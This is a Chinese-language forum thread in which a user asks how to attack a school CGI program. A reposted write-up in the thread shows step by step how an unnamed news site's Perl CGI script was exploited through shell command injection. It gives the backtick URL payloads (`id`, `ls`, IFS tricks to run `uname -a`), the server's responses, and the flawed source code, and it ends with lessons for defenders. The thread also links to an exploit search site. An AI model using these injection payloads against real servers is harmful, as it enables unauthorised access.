我知道了一个网站的一个cgi程序的真实地址（无意中得到），有办法攻击它吗？只是探讨一下，因为我对网络安全不是太明白，哪位大虾能讲一下？先谢了。(200分)

我觉得好像cgi的真实路径应该要保密才对，但我却不小心知道了它的路径
有用吗？

如果你是想从事安全方面的工作，
最好学习一下UNIX系统，阅读一下它的源代码！
至于有了CGI程序的路径，是否可以做你想做的事情，你学习一下CGI和UNIX就可以知道了。
不过，你最好不要做这种事情。
真正的HACKER是高精技术的执着追求者，
虽然他们会掌握很多系统的漏洞，但往往只是跟管理员开个玩笑，
或者，展现一下自己的能耐。决非喜欢恶意攻击他人的系统。
以上是我的一点浅见，希望不要见怪，以后多多交流。

转自linuxbyte
一个CGI漏洞的发现和利用
2000-09-20 17:49
发布者：netbull 阅读次数：135
声明:写这个贴子的目地不是怂恿搞破坏,只是想说明一个
问题,有谁用贴子提供的信息干了什么坏事,那完全是他自
己的事,与本人无关!

前几天在国内的某个169节点读新闻,这个站点顶部的一排分
类新闻的链接引起了我的注意,这些链接都指向一个
叫sub.pl的CGI,只是它们后面跟的参数不同:国内新闻的
是sub.pl?cn,国际新闻的是sub.pl?in,财经的是sub.pl?fi
诸如此类...跟一般的CGI程序不同,sub.pl后跟的不是通常
的key,value对,哈,让我给sub.pl吃点洋荤,随便自己指定
个参数给它:
http://victim.net/cgi-bin/home/news/sub.pl?12

不出所料,CGI运行出错了:
/home1/siteadm/cgi-bin/home/news/log/12/*.*: 无此文件或目录

这个CGI真是太老实了,它至少告诉了我们两件事情:一 CGI目录
的绝对路径. 二 我们输入参数的作用,sub.pl的参数是在脚本中
作为目录名.这些发现一下子把我兴趣提了起来,再试试不同的
参数说不定有更大的发现,经过N次的试验,得到的出错信息大同
小异,值到第N+1次请求:
http://victim.net/cgi-bin/home/news/sub.pl?&

服务器的返回信息有些不一样了:
sh: /WS_FTP95.exe: 不能执行

注意到了前面的"sh:"了吗?哈!,熟悉UNIX的朋友应该知道,这可是
只有在shell试图运行某个程序出错时才会出现的错误信息.看起
来shell在试图运行什么程序,而重要的是我们能够影响它!怎样去
进一步的影响它呢?反引号"`",绝对是值得一试的:
http://victim.net/cgi-bin/home/news/sub.pl?`ls`

服务器返回了奇怪的信息:
/home1/siteadm/cgi-bin/home/news/log/315: 无此文件或目录
"315"是什么东西?

再试:
http://victim.net/cgi-bin/home/news/sub.pl?`id`

这次返回的信息令我大吃一惊:
/home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 无此文件或目录
gid=999(netsite)/*.*: 无此文件或目?
很显然,服务器运行了id,我们能利用sub.pl运行shell命令了!刚
才的ls命令也肯定运行了,"315"一定是当前CGI目录下的子目录.

让我们来列一下服务器根目录吧:
http://victim.net/cgi-bin/home/news/sub.pl?`ls%20/`

没成功:
sh: ls%20/: 没找到
看来,sub.pl没有把"%20"解码成空格的习惯 如何绕过这个限制
呢?相信你现在也已经想到了,还得靠我们的IFS变量, 用它来指定
shell分界符.试一下:
http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`

服务器的回应:
/home1/siteadm/cgi-bin/home/news/log/SunOS: 无此文件或目录 victim.net:
无此文件或目录 5.5.1: 无此文件或目录 Generic_103640-27: 无此文件或目录 sun4u: 无此文件或目录
sparc: 无此文件或目录 SUNW,Ultra-2/*.*: 无此文件或目录
成功了!现在我们差不多有了shell访问权限,对SunOS这样的系统,拿
到root只是时间问题了.没有必要再继续下去,我不想搞破坏,对sub.pl
瞎子摸象式的攻击已经给了我足够的乐趣. 当然我还有兴趣看
看问题到底出在哪,把sub.pl弄下来看看:
当然这还得靠sub.pl
http://victim.net/cgi-bin/home/news/sub.pl?`cat 输出结果太乱,就不列在这儿了.

经过整理后的sub.pl中的片断:
#!/usr/gnu/bin/perl
require "common.pl";
#($type) = split(//,$ENV{QUERY_STRING});
$type1=$ENV{QUERY_STRING};
$tdbg="#FF9900";
&parse_form;
if ($FORM{command} eq search){
#if ($FORM{newstype} ne newstype){ $type1=$FORM{newstype};}
#}
if ($type1 eq"so") {$tdbg="#0099CC";}
if ($type1 eq"in") {$tdbg="#71B8FF";}
if ($type1 eq"fu") {$tdbg="#CE9ECD";}
if ($type1 eq"sp") {$tdbg="#CCCCFF";}
if ($type1 eq"te") {$tdbg="#FF91FC";}
if ($type1 eq"fi") {$tdbg="#ffb3b3";}
if ($type1 eq"it") {$tdbg="#FFDE01";}
if ($type1 eq"") {$type1="it";} open (FILE, "$cgipath/$type") ||
&error("Unable to open $cgipath/$pwd");
@main1= ; close (FILE); foreach $line1(@main1)
{
chop($line1);
($type2,$name1)=split(//,$line1);
if ($type2 eq $type1) {$name=$name1;}
}
$sublog=$$type1;
print "Content-type text/html /n/n";
if ($FORM{command} eq searchdate){
$sublog="$type1/$FORM{mmdd}.txt";}
open(FILE,"$path_log/$sublog") || die("Unable to write to
$path_log/$file");
@main = ;
close(FILE);
#&newshead($name,"1");
.
.
.
.
.
$data_path1="$data_path/$type1";
$search_data = `ls $data_path1/*.*`; <--------看来,就是死在这了
$search_data =~ s/$data_path1|/.txt|////g;
.
.
.
.
.

结论:对于编写很差的CGI程序,通过封闭源码的办法很多时候并不能躲过被
黑客利用的命运,黑客可以通过向它发送许多出人意料的请求,分析它的回应
猜测出程序的结构和可能存在的弱点从而利用之.上面的这个sub.pl例子,至
少犯了三个错误:1.没有对用户输入进行检查.2.在脚本中直接调用shell,3.
没有什么错误处理机制. 只要它在3点中的一点有所加强,将大大增加黑客入侵
的难度.还想说的是,国内外通过CGI漏洞入侵的例子并不少见,据说,ADM就是
利用第三方的CGI程序的漏洞黑了著名的hack站点anticode,Antionline变成了
ADMonline .

welcome to my exploit search engine:
http://st4rdust.heha.net/index1.html

我得到的那个地址应该是在nt下的，因为是形如d:/xxx/xxx这样的地址

我只是想了解一点东西，没有别的意思，其实那是我们学校的一个成绩查询程序，
是用foxpro写的，说实话，我真的很佩服他们，居然用foxpro写cgi，我cow！
我无意中用一个非法的查询条件它就返回给了我真实地址，我也没办法。:-(

foxpro写cgi??

没听说过吗，我要不是前不久看到了一本专讲foxpro写cgi的书，
我也不相信/

foxpro写cgi？搞没搞错，最多用foxpro做数据库后台吧，呵呵

说你孤陋寡闻吧
还不承认

@_@ @-@

我也@_@ @-@

感谢 lenny ，学了不少，虽没试过，但感觉完全可行。看来做 ISAPI 也要注意啊

只有路径还是没有用的，关键是要有能在系统中能执行程序的权限
或后门。

继续讨论

write CGI in foxpro???

网络安全让我头疼了很久。。。。。

请大家不要纠缠于cgi in foxpro（管它是不是呢？）
讨论一下正题

????????

可能性极小.如果CGI是二进制的exe文件,破坏的可能性几乎等于0

谢谢大家的讨论。